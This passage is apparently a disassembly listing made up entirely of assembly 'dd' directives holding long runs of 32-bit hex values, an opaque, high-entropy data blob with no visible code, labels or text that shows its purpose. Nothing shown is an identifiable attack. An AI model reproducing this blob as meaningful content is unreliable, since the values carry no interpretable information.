		dd 72A3A9D0h, 5B1FD200h, 26D689Eh, 0BF7A60h, 5464F1CFh
		dd 0A4EAE938h, 2AC67E0Eh, 906AE00Ah, 1A30E08h, 92FEA6EEh
		dd 0E4565F5Ch, 0C2009CA2h, 0AEA59153h, 18C94003h, 0A0F0257Eh
		dd 0FA001009h, 167048EAh, 6D8CEFh, 0DD4D5C5h, 9F7FE383h
		dd 0D6E44200h, 0BA652F7h, 62913992h, 95C3DE00h,	6843C1DDh
		dd 0F157D81Fh, 0F9C56FCCh, 0E417060Fh, 51E04CAEh, 0EB692500h
		dd 0E6F93D29h, 83F10607h, 0E02860C6h, 0E15AB700h, 0CA717698h
		dd 504D00FBh, 0F4AF365Dh, 852CAE2Ah, 0CB00743Eh, 65F381A9h
		dd 96140020h, 0EB285BFDh, 3701C869h, 19553160h,	689E2C5Eh
		dd 0CCA68196h, 85953F77h, 0FEBF298h, 0EEE9FC00h, 0D626A3E2h
		dd 73F80F80h, 0A1F1DDE7h, 0FF0ADABFh, 38388597h, 9F00DF8Ch
		dd 0D7465910h, 0ED723Ch, 51A29FFh, 0AC328AF5h, 20BF3Ch
		dd 0A09AF9FCh, 2E8379h,	606B53A9h, 3ACC9A3h, 3C146900h
		dd 0A3D2706h, 99FB0002h, 118381ADh, 0A80E43F3h,	0E04CB887h
		dd 2F4A5668h, 7EE203D7h, 22A0643Dh, 0CD5EC4B8h,	800069B8h
		dd 14C1EB67h, 1E8353F1h, 0C0495B1Dh, 2DAF41FAh,	9A07A23Dh
		dd 2AB82587h, 52510AF0h, 71F5B881h, 0EFC40060h,	0E7AE3F7Ch
		dd 8F0067E0h, 2C1FFD7Dh, 1147F2Eh, 0D7A22287h, 0D0897BA8h
		dd 0C74AC666h, 993B55F8h, 5FE27F80h, 41227EC0h,	9FF25C00h
		dd 6847B61Bh, 0D69131B4h, 0E8AB64F0h, 0E5074E46h, 61C793CCh
		dd 0EB3FE920h, 89860049h, 73087A2Ah, 260082A3h,	0C574B644h
		dd 4763B0h, 0E68352F8h,	85F39E4Eh, 0C31D3200h, 0B8DC060h
		dd 822207AFh, 0E09771B1h, 0A6F1C877h, 0EC705D7Fh, 0F33FBD00h
		dd 9A8F895h, 80A10073h,	0F1DB6BD9h, 1A00A66Ah, 46A59A10h
		dd 2841DD8h, 0BF900D20h, 0C400832h, 0C4006202h,	211EC286h
		dd 0D7A6CEh, 0F3ABCAE6h, 173AD2B7h, 76CC8B3Eh, 0E7447D48h
		dd 9491B7C4h, 0F610B40Eh, 0EE00E218h, 27C97158h, 1204FDF2h
		dd 29E10Ah, 0DAB8A74Ch,	0E617C3D8h, 1F00E2A2h, 4EACA695h
		dd 34801C70h, 0DD740D1h, 799097AAh, 9085B424h, 78561280h
		dd 246D31Eh, 911DA805h
		dd 84449E39h, 0C607EE78h, 0F73F1364h, 0CF702039h, 1F706A56h
		dd 61857A8h, 0C9827C73h, 64C24202h, 48F0147Eh, 40A469Ch
		dd 8CF65754h, 6DC4882Ah, 0EEB94C00h, 0C9CD3449h, 5DD01F3h
		dd 0DE9DFBAFh, 0EF1080CFh, 0CC4380A9h, 1D720021h, 4DC4F940h
		dd 0B6069DA1h, 6210CFF4h, 997D0079h, 6A1D2107h,	0FC0071B8h
		dd 45BEC396h, 33E55C6h,	5A077C37h, 5FC81ACAh, 0EB304E4Fh
		dd 58F9D0B7h, 3B20E8EFh, 0FD8F8073h, 5B80777Bh,	0C3956A14h
		dd 0FCA05C12h, 20E2DB0Eh, 76B5F9D5h, 0FBBF006Fh, 84882591h
		dd 9C0E5D17h, 0AE619DD8h, 0CC9BFC9h, 0FBA4A110h, 0A050C46Dh
		dd 951902h, 9B5F0962h, 0FABD9A57h, 0C1C5A107h, 0AA500704h
		dd 0EBB7CFh, 56E4F2C7h,	2E81D90Bh, 0F32DFB00h, 0CA832012h
		dd 8A7A39h, 7045B477h, 8767DBE5h, 0D8B6A400h, 25F046D5h
		dd 30F20022h, 0B5BA5B63h, 4D00C660h, 9172592Fh,	4CA19FF8h
		dd 513F3C77h, 0B7140D80h, 6024C87Ch, 48C07307h,	2660E867h
		dd 0F4749769h, 0B5F30063h, 4F412A3Bh, 4B003CEAh, 3F2C3839h
		dd 393DEC55h, 0E4BE5E56h, 3AD55B8Eh, 7F7E7700h,	9C07102h
		dd 7866D20h, 817C00F9h,	1BDCAA9Dh, 0FB002CFAh, 0EF09E552h
		dd 0B8C291h, 0B7BFDEE1h, 3BD52FD1h, 6E78A0A8h, 71DB3E00h
		dd 0E88867Ah, 47C00A33h, 87FC6C43h, 40B4E8F4h, 39E03ACFh
		dd 8055FB3Ch, 0DC0DA15Bh, 7321CE8Ah, 0C95401F6h, 6E69482Fh
		dd 9BA052E9h, 7BCFF040h, 7016FE03h, 805201E3h, 0F73764h
		dd 0BDBA113Bh, 15D23486h, 394D6000h, 0E5D7AA25h, 23A23BACh
		dd 0B9DCDD00h, 3D5C61CDh, 1BE44A00h, 988BDBB1h,	266603B3h
		dd 0CAE965AEh, 23A8009Dh, 2389E81h, 0D2B0631Ch,	0E1D6C4C0h
		dd 0BF6147h, 0D4BC6CD7h, 7B93B4DFh, 0F8817A00h,	8F60C8Ch
		dd 0FCA7077Ch, 15F489FFh, 0ADD409CAh, 9A85808h,	0BC807FDAh
		dd 1F02D345h, 17921B15h, 715A00A4h, 34C76AEEh, 0F6680F41h
		dd 2BE07FA1h, 0EABD4D73h, 0E4889C00h, 20A3FB2Fh, 14D1F6C7h
		dd 8755C22Dh, 85B1441Dh, 805F42EEh, 97248AC5h, 11293500h
		dd 3B74096Ah, 4AF8002Bh, 7394F5A5h, 0FC032807h,	72673AACh
		dd 343D8F3h, 0BB1016Dh,	5AEAB2BEh, 0EC86F538h, 9D017914h
		dd 0AF8A08B5h, 4DC0E69Ch, 795B98D8h, 0E01F004Ch, 5F961556h
		dd 0C9F2EE1Dh, 670009EEh, 0F220A60Ah, 25A141Fh,	9B3F1CBDh
		dd 24C45F95h, 0DD3EFA0Eh, 458D008Bh, 0DC315Bh, 0AC199EAAh
		dd 0A76638F0h, 4EA4D400h, 0A9016B67h, 6C7C0027h, 0AA163ECBh
		dd 0D901B342h, 0CAE4E912h, 61E4CEC4h, 48037CFAh, 4938F8F8h
		dd 318AE0BDh, 3B87D9D8h, 3B44BA00h, 0DB7D0DFh, 46204A60h
		dd 7830F33h, 8F218B7Fh,	84231381h, 872A021Fh, 795C7Dh
		dd 0DBCDEB1Bh, 0F3315Fh, 5361F49Ch, 5EC696ECh, 1E003AB8h
		dd 7FB091F7h, 0FCAC95h,	9CF10894h, 5E731411h, 4600BBF0h
		dd 0B7EDDC35h, 0E64C0Fh, 0C362AEB9h, 43D44225h,	0B1456A0Eh
		dd 8566A365h, 7BF188F5h, 0D172008Fh, 0A5948C37h, 983A02DFh
		dd 133E840Fh, 4CC020A1h, 5B2C2A95h, 39A6AC46h, 0F51CF7F7h
		dd 0D0118F8h, 0B381B047h, 402C60h, 0DBBF4964h, 0D044DDE5h
		dd 0BF1C0538h, 0E0282469h, 89A2B98Eh, 0CA5420F4h, 26F77h
		dd 40392D23h, 2C606537h, 75E8277Ah, 5522BE00h, 0DCE7B1C5h
		dd 59320039h, 16343353h, 0F3003554h, 0C587FB83h, 88A4B3h
		dd 736677DCh, 99E330FDh, 0DE98B06Fh, 520099ACh,	6B15206Eh
		dd 724C1E56h, 402F1DD4h, 0AB0A14F5h, 9C73990Ch,	9674ED0Fh
		dd 9E8C801Ah, 71D817h, 5AEB22CBh, 0F797A6F9h, 0F05FEE2h
		dd 36CA7CADh, 7CF47488h, 1D8A1DAEh, 0DEF25CB5h,	9266818Ch
		dd 602F19DEh, 0F7125068h, 0CC122D3Eh, 39760902h, 60E48F15h
		dd 8506F0F2h, 902003ADh, 0ABEEB1BAh, 5D0F4800h,	88E644B2h
		dd 0C36009Ch, 0D81AA85Fh, 4B079B89h, 40B658D1h,	865C2E40h
		dd 71130022h, 5E6C4A50h, 1A002183h, 6E48586Ah, 4D890869h
		dd 4600CCCFh, 45DDCDA9h, 0E9003014h, 0C0E10340h, 1DB2B897h
		dd 80076A50h, 0BA64627Fh, 0D7000EFEh, 3FBF7AA3h, 122600Dh
		dd 7028D9BCh, 0D0845B8Bh, 0B230331Eh, 0F83AB8B0h, 68507DAh
		dd 87278D4Ah, 286651BFh, 9D8850A9h, 0FF00CA22h,	369EF2D5h
		dd 28FDBCE0h, 0EECC866h, 16A5EBB6h, 81F52460h, 3A00F305h
		dd 688B326Ah, 1C262BEh,	23CF6C0Fh, 0E46ED2F2h, 9F2C9D2Ah
		dd 3F00745Fh, 0CCA8287Dh, 35310955h, 1E00BCB9h,	9FD7F6F9h
		dd 4A5F520Fh, 0FB860213h, 63C2C012h, 73DC0026h,	61C9FD3Bh
		dd 0D00AF80h, 1E8C9E11h, 0F80FA6h, 0CD3D93EEh, 4A48B1C3h
		dd 803148h, 9CD23F65h, 39AB3652h, 22800EE2h, 21B9FAE1h
		dd 1400CD6Ch, 0D75D6097h, 535C608h, 749C51E8h, 47CCC3F6h
		dd 4A236498h, 2B5B6107h, 25536342h, 2C5CD830h, 16B7947h
		dd 18DEDD23h, 0FC170C06h, 2405DBEAh, 48FCF31Eh,	3B236C90h
		dd 1FD2B058h, 0C635AAh,	0C2720480h, 0E43BB3D8h,	7C7087B7h
		dd 2530EEFBh, 0FACF4527h, 91B500B4h, 54B0C360h,	595C5C13h
		dd 9FA40094h, 5D1B7672h, 83CD006Dh, 0FB36C4D7h,	4006706h
		dd 0EA6E9816h, 775C1F12h, 0C370019h, 0ED1A924Bh, 130060FFh
		dd 1795F78Ch, 0F6D972h,	0B20EB29h, 64423090h, 686ED837h
		dd 0E89DAB40h, 0B6A7092Bh, 1B80DBDAh, 0E539E782h, 0C62E6C98h
		dd 0EF001A9Ah, 0A186E2BAh, 0A0F15094h, 60800A7h, 0FE78AA0Dh
		dd 25CA215h, 69039BCh, 0AA70EFBh, 5BD7F20h, 376B61B8h
		dd 3D66C0C9h, 561652BFh, 0EF0090E8h, 3F395CC3h,	2AEC60h
		dd 26E0A8C6h, 0D41CA72h, 4B50254Ch, 3869D401h, 6830DA05h
		dd 3EBF003Bh, 5611E8D0h, 99008319h, 0E38D86B8h,	172D890Fh
		dd 7DD4EFBh, 0C0B72654h, 0C97BE7B3h, 3C0079F8h,	0F82A7009h
		dd 0EE39FC3h, 159389E0h, 0DB8ED881h, 5045E431h,	27715Ch
		dd 1BC369BFh, 0EC41285Eh, 2F223961h, 0D1CEC0CAh, 0F300AA5Ch
		dd 0BAF5A0E7h, 54147993h, 3B8B943Fh, 87249A1Dh,	77E1001Fh
		dd 5DEB981Fh, 0DAA72806h, 20277Ch, 2AAC4B8Ah, 47516340h
		dd 0B27E3673h, 73483F48h, 50574C01h, 65BC74B5h,	0AC849440h
		dd 0FEE426CBh, 3ABF80F8h, 51B93BC4h, 0EC1C4Dh, 1058E65h
		dd 74AB93h, 7EA5CEE4h, 136A7BFBh, 72005776h, 0BF043468h
		dd 0FE578h, 0A463DE88h,	4893CE7Bh, 0BCA3981Fh, 99127346h
		dd 0A72C00C8h, 30339C75h, 6406AF1Dh, 0A898A384h, 8CB000F0h
		dd 0A0BB5BD1h, 5E163FECh, 7C41D245h, 0ED8769EEh, 22EC30h
		dd 0B00FE7D0h, 0DED5338Fh, 7F8A643Bh, 80340E3Eh, 794E6341h
		dd 0B775C9h, 139C867Dh,	0FA2753D8h, 47109502h, 0C0B2B44Fh
		dd 1EAA3Ch, 0A849317h, 73FE1CA2h, 81001078h, 69229A09h
		dd 54B01A01h, 48C28C7Ch, 740E7E6Fh, 9060218Ch, 466523FEh
		dd 570721D2h, 650E32B9h, 21803F31h, 3A4D3833h, 0D80149DEh
		dd 1A8642D7h, 0F0308021h, 5824A734h, 3C3E7AF8h,	1004BAC5h
		dd 806A47E2h, 63290358h, 30F88030h, 6467BC9h, 4250BDDFh
		dd 96006E34h, 0F6075349h, 0FE97CC3Ch, 0C394006Ch, 0D1D4C2C4h
		dd 56003EE1h, 229C7EFFh, 94660314h, 0C5B91C6Ch,	803B37AFh
		dd 0D1C160ECh, 3831B107h, 8AA0614Fh, 0ADF6CBh, 29623F07h
		dd 77CDD5A9h, 6BF21A00h, 0F838607Dh, 132F008Ah,	11CB3AD9h
		dd 4F00D3F4h, 0A4EEC3ABh, 0F2DC8177h, 57DA007Fh, 58C11FE1h
		dd 0E190B3DBh, 770D951Fh
		dd 2FAE4580h, 74A9FBh, 3F667939h, 5D3682C9h, 0E97BC07h
		dd 0C1E55A4Ch, 0F1DD02AEh, 0A8E4C97Ah, 0AD58F9F6h, 0C56F126Fh
		dd 72B16402h, 0D1A28054h, 5D7DF38h, 0C1103E32h,	0F590C028h
		dd 0F400F88Fh, 5FFA567Bh, 70E5095h, 0E6D2478Eh,	0D03917CCh
		dd 0B1543DE5h, 3EE8C11Ch, 11EAF580h, 5AF43194h,	1F904017h
		dd 9925AA76h, 0D94A6600h, 0C2FD61FEh, 3BE600C5h, 161D1102h
		dd 4B004F76h, 24705025h, 73F719h, 62B220C9h, 0DE28AF4Ch
		dd 7F524F00h, 0AC11371Ah, 16FB01E8h, 0B5FA0B8Fh, 74F4704Ah
		dd 330138h, 0B24172E3h,	1DBC5749h, 13A0991h, 0D5503947h
		dd 8F880DDh, 6778E45Fh,	1E572B8h, 4C43BC60h, 20EEE217h
		dd 88B613CCh, 0E64F97BDh, 6E6DF840h, 5C8719A5h,	251C1497h
		dd 24F84075h, 0B5F38841h, 0A8B7A02Eh, 16932186h, 0A5B1D39h
		dd 170975Ch, 7F4520D8h,	0A409F0D3h, 1AAC1E1Dh, 0B17E67C0h
		dd 74A057CDh, 0F4FF1D1Ch, 34638064h, 0D70786D0h, 0B4026D98h
		dd 21F79CBFh, 5CC07AECh, 881C8C74h, 0B2CBC47Dh,	0C694F0ACh
		dd 0F9F30F01h, 0D4B90725h, 7247A060h, 0BCB007EAh, 0A04CE468h
		dd 0AD37C7D7h, 663E2E00h, 980DE2EEh, 55DDA218h,	74C0EDC2h
		dd 0B34FD4F7h, 746C8C20h, 7EE53052h, 20190BF9h,	300AE807h
		dd 5480E255h, 9E591BC6h, 81AB0084h, 3149EF0Eh, 0B400ADFAh
		dd 0BEEE3B51h, 0FAAC354Eh, 90F11E6Eh, 0E1438047h, 0FAE5DEF3h
		dd 0BAE2C49Ah, 25586600h, 0DDCC4974h, 2D2FE40Ah, 0CC80D2A0h
		dd 0D9B27F9Eh, 945D800h, 16AC5751h, 396AF2D6h, 0E980A808h
		dd 2AB1AC9h, 0F900BF20h, 56322CFAh, 62553Fh, 0C43B8AEEh
		dd 0C96B65BEh, 0BB70C30Ah, 2F02D467h, 82E09253h, 0B833DDC8h
		dd 3A8B3660h, 2D80E745h, 0CF0220FFh, 9100E0C5h,	39214210h
		dd 9E73C2h, 1C0FE60Ch, 0C4A551DFh, 47D6A202h, 0C0D4C3A3h
		dd 1F885AA4h, 30248CFDh, 0ECF06C10h, 6A9D2E01h,	0D3023C67h
		dd 4E4A1880h, 6518F894h, 0C3DA240Ah, 0B181C460h, 0DB550FDDh
		dd 0D99D2880h, 0B0E537CDh, 0D4F252h, 418A311Dh,	38B6BF56h
		dd 0F00AB5Ah, 5E7339DEh, 0C13AEC24h, 366C81BCh,	0F5E23FC5h
		dd 0FB7AE8h, 6D987546h,	39E4D0C9h, 8EAA7700h, 1A80840Dh
		dd 0FF4E18h, 94A8218h, 0F216F59Dh, 8F00A07Ch, 0F14B5284h
		dd 2E92019Ch, 56ECF8D0h, 0CAE0C4E7h, 0D1FB8490h, 798C7997h
		dd 9EDEB200h, 5A24897Bh, 56AC3A2Bh, 0A440E900h,	1DA994C8h
		dd 14A11A0Fh, 0BDF8E383h, 8F9381F5h, 0EFB7E0h, 1D76BE59h
		dd 5CBCBF58h, 4B6B9500h, 7AF01478h, 0CE500099h,	76F66181h
		dd 170A3296h, 94FD8F5Eh, 0F919AC00h, 19402AEh, 5BB8CE5Dh
		dd 242DC355h, 0DE054670h, 0CB085C03h, 582000A5h, 0EC3339EEh
		dd 57BC28DEh, 0DDDFD606h, 7195852h, 0F10B100Eh,	3090601Eh
		dd 2C018C80h, 0A90424E7h, 746CCB33h, 0F51C8580h, 3609D16Dh
		dd 603B3CC9h, 60B30240h, 0ED41518Dh, 6F3E1676h,	0A3C00E2Ch
		dd 0DB3226BFh, 5FC10048h, 9D1D8610h, 0B2009612h, 8B4BF917h
		dd 130E0825h, 0FDF7D4h,	0D287B51Ch, 140C7B36h, 61A680EFh
		dd 0D27D78B4h, 0F690C0E0h, 392F9122h, 0F35090A5h, 0ACCF403Ch
		dd 699D88h, 0AAF98545h,	0A949FCF6h, 488680Bh, 668A0172h
		dd 0D8606A54h, 0DDF224DEh, 681482E8h, 6873CAh, 0CF007DB8h
		dd 0A9CC80E3h, 1558E0h,	501DDE08h, 4C3B5ECAh, 0BFA29E07h
		dd 68005122h, 97DB47h, 0FA441CB0h, 96618F7Bh, 0F3BE58h
		dd 0B43EEFBDh, 750FF8h,	2362025Ah, 3452C1CAh, 0E1426B00h
		dd 54BBCC25h, 0E7A10FFCh, 3F206961h, 1A5CFA4h, 2EDC9C00h
		dd 29095D2Dh, 0E2E4007Ch, 0E9207D9Ah, 0C93AFA07h, 0E01387B3h
		dd 0E974E19h, 9E3D6D90h, 0FC830031h, 0D59D063h,	45983F40h
		dd 0F8C55300h, 0E112025Eh, 9AA8C577h, 0CE098609h, 0A1F20E6h
		dd 0DE8096D4h, 5EE88EBDh, 811F003Eh, 0E6137E90h, 0B100D89Eh
		dd 0A9437BEAh, 3AB44149h, 0AA006CCCh, 0C365D24Ah, 9900C7ACh
		dd 3A1FFA89h, 39731D2Fh, 0D30058E3h, 0E7EDB125h, 7100AD26h
		dd 5E8C8E5Ah, 6635226Bh, 583FDEBAh, 0ABE3F100h,	5D4381AAh
		dd 2CD60F31h, 7740C040h, 8EB642D5h, 804E3600h, 0BEC92E43h
		dd 699E02Fh, 30FA87B1h,	7001791Ch, 1763D6A0h, 0D8E04AC4h
		dd 4C1018Ch, 760AF826h,	0EF9C409Eh, 7F07ECABh, 915A83A0h
		dd 0CC53931h, 6378E4h, 0ACEA99E3h, 0F1FFDDE5h, 858A600h
		dd 8DD21BF9h, 0D65F00B8h, 402B52F5h, 62003D6Fh,	70EC9DE5h
		dd 0D9CAEAh, 3868B34Ch,	6A98B2C9h, 9AE32000h, 6E728E2Ch
		dd 54A21F3Dh, 64F700A1h, 15B5CF96h, 0DC394800h,	0EABF41FFh
		dd 6DAD00DBh, 3632D511h, 0B600D078h, 0AF7FCDD4h, 0F8DC8Fh
		dd 0B7743F77h, 92B519EEh, 1FF4EF00h, 8431EA54h,	602600DEh
		dd 8F47D94Dh, 62000C5Ah, 8D1CB5C4h, 0B863D046h,	410700ABh
		dd 0B9B20D37h, 51003410h, 1342610Eh, 67D0873h, 6794E518h
		dd 1A6F0920h, 0E21D80C8h, 0C0126899h, 0F62E6E18h, 97011358h
		dd 0BD18F38Eh, 92FC64BCh, 6EFB0095h, 3096DAF2h,	0D00024CAh
		dd 6A370140h, 111A498h,	76F9979h, 0F0FBDA43h, 10FE7573h
		dd 988F801Eh, 4B01EEC0h, 706CD94h, 4091B029h, 0FB24B058h
		dd 7E00A91Dh, 0B920CE95h, 127AF9E4h, 43ED89B1h,	429E2524h
		dd 6E889DE8h, 0ECCC1800h, 0F820C102h, 1FDEF82Dh, 0B07131C6h
		dd 0B63A2FF0h, 3CD9B00h, 78632907h, 9E89269Fh, 0C2670000h
		dd 9BF8ED19h, 0A2B210C0h, 0BA7E87h, 4DFC8AACh, 0F92EF313h
		dd 0A893EF03h, 0A0EE48F5h, 0F0E9537Eh, 7FAD002Dh, 496AF8FFh
		dd 0D67F875Dh, 0F3416E01h, 0C06470B7h, 14F18ECh, 9AB4893Bh
		dd 208C5AD4h, 0B9003C14h, 0F01162AFh, 0FC09906h, 7E7CFFE5h
		dd 2A340F82h, 1426A883h, 0BD09C803h, 0A01CEFC0h, 1824F7C8h
		dd 0B4F5BEC7h, 930FCC5h, 4B0F20BFh, 2F330052h, 0D58F2B3h
		dd 1EE09891h, 5FB9BE14h, 79B505E8h, 0DC40764Ch,	0ECC5FA6Dh
		dd 0AE30F74h, 0C0208322h, 0B47C7A33h, 0C400FD98h, 0EA58F576h
		dd 4C44B7D5h, 0E8018C25h, 7D4ACC9Dh, 0A4F9D4E2h, 7B95E403h
		dd 7D39031h, 925E0328h,	0F080CBC5h, 0A77988F6h,	53134600h
		dd 0BD19B190h, 0E7AA0083h, 0E1A58615h, 1F3A6B08h, 2E3780B8h
		dd 4AC37804h, 22F30490h, 93751436h, 0ED8FE2Ch, 0A3EA7016h
		dd 7F00D1FCh, 0E05B0134h, 120FC79Bh, 0E72BAF8h,	0AFC08A00h
		dd 0BDF283E5h, 0B96930FDh, 0F38DDB03h, 0E084DCB8h, 54E1B3h
		dd 0B78E0F08h, 5FC0636Dh, 0A74C1601h, 0A86874B4h, 283BE441h
		dd 0F54F60h, 0BB3046A5h, 9B8B25Eh, 0D5959E00h, 52939935h
		dd 15BC00CAh, 0ED3F8461h, 340F2B86h, 0C045CE76h, 951BFD83h
		dd 0C39000C1h, 0D7A864DAh, 43E87417h, 0CB6AB700h, 4CEB19F0h
		dd 650A0081h, 1C7178D9h, 0F9022710h, 0D39C2068h, 0D479E0A2h
		dd 0AD5200A3h, 0EF451167h, 8D0005E2h, 0C8C11CF1h, 5C3D1BF2h
		dd 62002014h, 54332D5Ah, 44B228FFh, 0A3FA9D02h,	602C9CCFh
		dd 1FD08B4h, 5BCC5199h,	409ADF78h, 5011569Eh, 98E57200h
		dd 0AE53A2CDh, 44122E7Ch, 0B3C200CCh, 223D1D8Eh, 6DBA5E00h
		dd 3124CB99h, 0B26B031Eh, 19816F30h, 0AC26AAC0h, 0CCA05578h
		dd 1700F41Dh, 65369633h, 5CAB067Bh, 1044DC25h, 13E811Eh
		dd 67D046CBh, 0CCEA4025h, 8602267Ch, 7AEFDD5Dh,	0E9A763DCh
		dd 0D8CC6660h, 0AC58C5C9h, 1C284158h, 840ECC33h, 50F1818h
		dd 7E317303h, 9D0927C9h
		dd 707DB10h, 0D9C04ACBh, 6F320BE8h, 236B48ADh, 0F1896301h
		dd 2C303418h, 0B50069EAh, 0E7D10E1Dh, 58071AF4h, 0C6079532h
		dd 0A32273AFh, 66D8D630h, 681FE546h, 2158A00Eh,	75EDD018h
		dd 714200DDh, 5AC9FF07h, 4B30B27Ch, 80D2011h, 7D0A805h
		dd 0EE560C02h, 33303C29h, 9E5E6728h, 0BE1DB206h, 78183E9Ch
		dd 0C362B07Dh, 80631E40h, 0F2347BC0h, 0B51092F0h, 8053874h
		dd 406B912Eh, 0AE6DEC90h, 77324E4h, 5AE11766h, 0B1D1809h
		dd 0A27D8909h, 30C355Ch, 206EAD41h, 3439D1D0h, 585E4E0h
		dd 0D27182FDh, 0D17E8024h, 57014F21h, 0B338A16Ah, 0C3DFA52Ah
		dd 96CFE0D0h, 0C030000Ah, 0FE1FDB45h, 0C8F8D21Eh, 63FDDD03h
		dd 31605D24h, 0AF713160h, 4660C2DAh, 6109387Dh,	8B3513D3h
		dd 0FA3220B8h, 0EE46849h, 0CB60781Ah, 65AF530Eh, 303839C0h
		dd 3316DAB6h, 24007FDEh, 3E314C8Dh, 0B9180079h,	0FDBFD369h
		dd 6060F694h, 0DA654FA0h, 587500BEh, 864D7CFh, 87007978h
		dd 27047CA8h, 60C090D8h, 37D2D06Ch, 0F1C3D3BFh,	34EA32Bh
		dd 98BE9AE9h, 4E0E5F5h,	41739624h, 5B2929C0h, 74527E7Ah
		dd 149E1DBCh, 8C0540FAh, 0C0040B63h, 0CA0C9D00h, 0E2607F79h
		dd 0F0A10097h, 2DA4C551h, 1A009ABDh, 0C9C2D9CDh, 3A024A2Bh
		dd 5180D587h, 89AE0D0Fh, 113D6131h, 0AB9180CFh,	5CC97FDFh
		dd 2B298038h, 0A951A131h, 0F98067F7h, 0C8EA6DA6h, 0A801AA3Fh
		dd 4E022722h, 0ACE48344h, 664D00D4h, 0C95CF5A4h, 41C04F28h
		dd 63DEA06Eh, 59340245h, 0BA70C5A2h, 5567EC80h,	5748F99Fh
		dd 314830B0h, 1E2AD875h, 0C0C3D4EDh, 0B4079B8Ch, 5239FD68h
		dd 0E943809Ah, 8EF13B4Ah, 335E28A8h, 3A6DF2AAh,	9F80C7CEh
		dd 2AAF906Bh, 940048EFh, 7BD853C1h, 2A4CE40Fh, 2443FEh
		dd 0B6C04455h, 9C51EEDDh, 0D1C59605h, 0D3C0A634h, 0C3D75BD2h
		dd 466F9D28h, 7BFDAAA0h, 418F5137h, 15E318C0h, 0E0060019h
		dd 0C28CB0AEh, 0A01E5D84h, 6047717Eh, 0B1E062FDh, 3C617447h
		dd 9C1C0B7Dh, 0BD6A4032h, 8CF40C39h, 0F1E99D18h, 0A14360h
		dd 0B042C374h, 2833CB9Bh, 0E89EBB0Ch, 5221F4h, 0E235180Ah
		dd 0CD63E9D4h, 0C09D2B00h, 7C035830h, 0C2FFEF4h, 0E4D4D878h
		dd 0EE39AAA8h, 0CF4160B0h, 1ED7EAh, 2885159h, 0F77C9D72h
		dd 50B2F800h, 3ECA6A36h, 6890069Eh, 19140F7Dh, 0BFE8200h
		dd 62BFFA2h, 3088A841h,	51A7A6Eh, 679AE843h, 700C024Ah
		dd 94A5FE55h, 0D0A02063h, 9C007EA1h, 0F4771826h, 3CF898EDh
		dd 4C0052E1h, 8371D367h, 3C00EBECh, 26EF0BD0h, 30A0E551h
		dd 5A1885CDh, 243E13D1h, 7A982625h, 749A5700h, 0EA799F75h
		dd 6EF9EE44h, 510F18E1h, 0ECFF84C3h, 40E734C7h,	7FF65450h
		dd 0E3971029h, 59E680F4h, 58478489h, 6506A038h,	789BD5BBh
		dd 2DE13208h, 0EF86015Dh, 80FBFFE3h, 7799E039h,	0C286744h
		dd 2B7EAB37h, 21C0D508h, 0DF7790C0h, 0B72D00E8h, 0C3F54F06h
		dd 0DB18F10Ch, 8F1889Dh, 305A5047h, 69017832h, 50801053h
		dd 88B0A07Fh, 80DE9F3Dh, 52079D18h, 0EC46938h, 70955494h
		dd 80E2E904h, 0DED148CFh, 8090E63Fh, 31745586h,	0FA0BF718h
		dd 75D7A0Dh, 0C6CCA4CDh, 8502D03Ah, 0B000D272h,	0C7AD6CBFh
		dd 288FD33Ch, 0CA62EFh,	0DB5FC5C1h, 0C230379h, 39E64500h
		dd 847A6910h, 81141283h, 0C911007Bh, 0A4C0B53Bh, 1F3A9301h
		dd 0C32EDFC4h, 0CFC64085h, 83042AFAh, 66F6D6h, 3F4DD210h
		dd 0F968E3A8h, 5DEFA301h, 78C3943Eh, 3CFD6CCh, 0DDC2607Bh
		dd 291134B7h, 173EA52Dh, 7C84A344h, 0EEA189E5h,	24DF5122h
		dd 3D5B40B7h, 0FFF4F96Fh, 5FF0E8h, 56FB6553h, 5CF38A40h
		dd 43203B61h, 5D8A648h,	509900C0h, 779FA127h, 6E00BDEBh
		dd 7AA44169h, 8564FFh, 6FF318C3h, 1E214C2Fh, 0E9F0D960h
		dd 25553Ah, 0EB729CA0h,	0C67CE574h, 770A4907h, 24E39E0Fh
		dd 0D4F9F015h, 0EFE98CCh, 586F4DD6h, 0C9FC93A1h, 3CEBCB8Ah
		dd 4C9C48C8h, 5CB95300h, 77BC3405h, 0CB3B0010h,	82B73FE1h
		dd 967FA193h, 0F6B1E600h, 8079A075h, 0EB3100C7h, 491C61F9h
		dd 2A03BE92h, 19B93C27h, 86E4D15Ah, 3FF001D1h, 0F33009F6h
		dd 0F9031588h, 70DBEFD4h, 0F4CF73C1h, 6C3E318Ch, 0A9D600A7h
		dd 95AB262Eh, 97882E7Fh, 50E300C8h, 0B0D90C47h,	750FE972h
		dd 0A061AB35h, 164F71DCh, 9F9D00B8h, 0F1838B3Eh, 810011A3h
		dd 155BD78Ch, 48DDDFCFh, 90714CDh, 90EB4E52h, 1F83F2E1h
		dd 80688F3Ah, 0B555078Bh, 3AF5FD2Bh, 7B80B4E4h,	773C6194h
		dd 0CF0733B9h, 1C4ACD9Ah, 3B597020h, 2D491E40h,	560D8082h
		dd 7DF0BA88h, 34EFF200h, 584D85DFh, 204B008Eh, 495087C5h
		dd 901DDAA7h, 166EAE92h, 0E893600Ah, 3A3C8A03h,	3386F010h
		dd 12EF01Eh, 998EAA40h,	0F08FB730h, 5F00B43Dh, 0C4D801CDh
		dd 7B3EE53h, 0DDC59B5Ch, 0BBE040BFh, 0BE019D5Eh, 0A4A7163Ah
		dd 3DC49434h, 90DFE35h,	225528AFh, 7B7F0C00h, 32309DE3h
		dd 4F5B1023h, 0E9DF03D9h, 0CD5DCD1h, 3C94D000h,	8F8E1AC6h
		dd 9C2800A2h, 1EAE2FFBh, 3500FE27h, 334F1DCCh, 8E76F3h
		dd 1C6EA7DEh, 49D3BA82h, 0FCFF3700h, 10F45FE1h,	46B500A5h
		dd 34AC7C6h, 6CE8A7B6h,	0BD48E01h, 0E6980706h, 19D68489h
		dd 1EFA9300h, 9703C991h, 7CE446F5h, 0E7B8B843h,	1FBFC51h
		dd 1A2A32AAh, 0F82305B3h, 6A09D5C0h, 5F6C579Ah,	2BCBC600h
		dd 5EE34E0h, 0F2674B00h, 0D980EA91h, 786903DCh,	0FC02C54Ch
		dd 4EA00AD8h, 90038B73h, 3D348222h, 6D6BD0E7h, 0ADAB0F4Ch
		dd 4D603C91h, 319B9256h, 3E573B04h, 38C063E7h, 7B395Ch
		dd 8B4150E5h, 614F43F4h, 4506E2FEh, 3740F7BEh, 235F0020h
